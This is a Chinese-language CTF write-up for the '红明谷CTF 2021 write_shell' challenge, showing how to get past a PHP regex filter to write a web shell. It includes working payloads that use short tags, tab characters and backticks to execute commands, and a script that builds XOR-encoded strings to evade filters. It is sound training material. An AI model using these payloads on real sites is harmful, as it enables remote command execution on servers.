[红明谷CTF 2021]write_shell
考的是php里的绕过,因为正则过滤了php ; ~ eval等字符,所以php标签<?php?>
写入不了
https://xz.aliyun.com/t/8107#toc-11这个文章讲绕过讲的挺详细的
对于这道题目可以用<?= ?>
代替php标签。<?= ?>
短标签会直接把php的结果输出,<? ?>
的功能则和<?php?>
完全一样。过滤空格可以用\t绕过,或者%09也是tab的URL编码。php反引号中的字符串会被当作命令执行。
?action=upload&data=<?=`ls\t/`?>
结果会写在pwd查到的文件夹下的index.php文件里
本来想再试试取反和异或绕过的,这两个都算是万金油绕过方式了,但是在这里都被禁了。那就贴一个求异或绕过的脚本吧
<?php
$shell = "phpinfo()";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
本来还想试试自增法的,结果发现+也被过滤了。而且还发现了php的–不能让字符改变,有哪位大佬知道的可以告诉我一下原因。
以下可以产生“Array”字符串,能够无中生有字符。
?action=upload&data=<?=$a=[].""?><?=`echo($a)`?>